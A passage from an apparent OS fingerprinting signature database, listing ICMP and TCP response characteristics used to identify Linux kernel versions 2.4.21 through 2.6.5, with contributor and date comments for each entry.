<64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.6.5" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.6.4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.6.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.6.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.6.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.6.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.30" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.29" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.28" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.27" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.26" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.25" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.24" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.23" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.22" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 December 2004 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.21" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 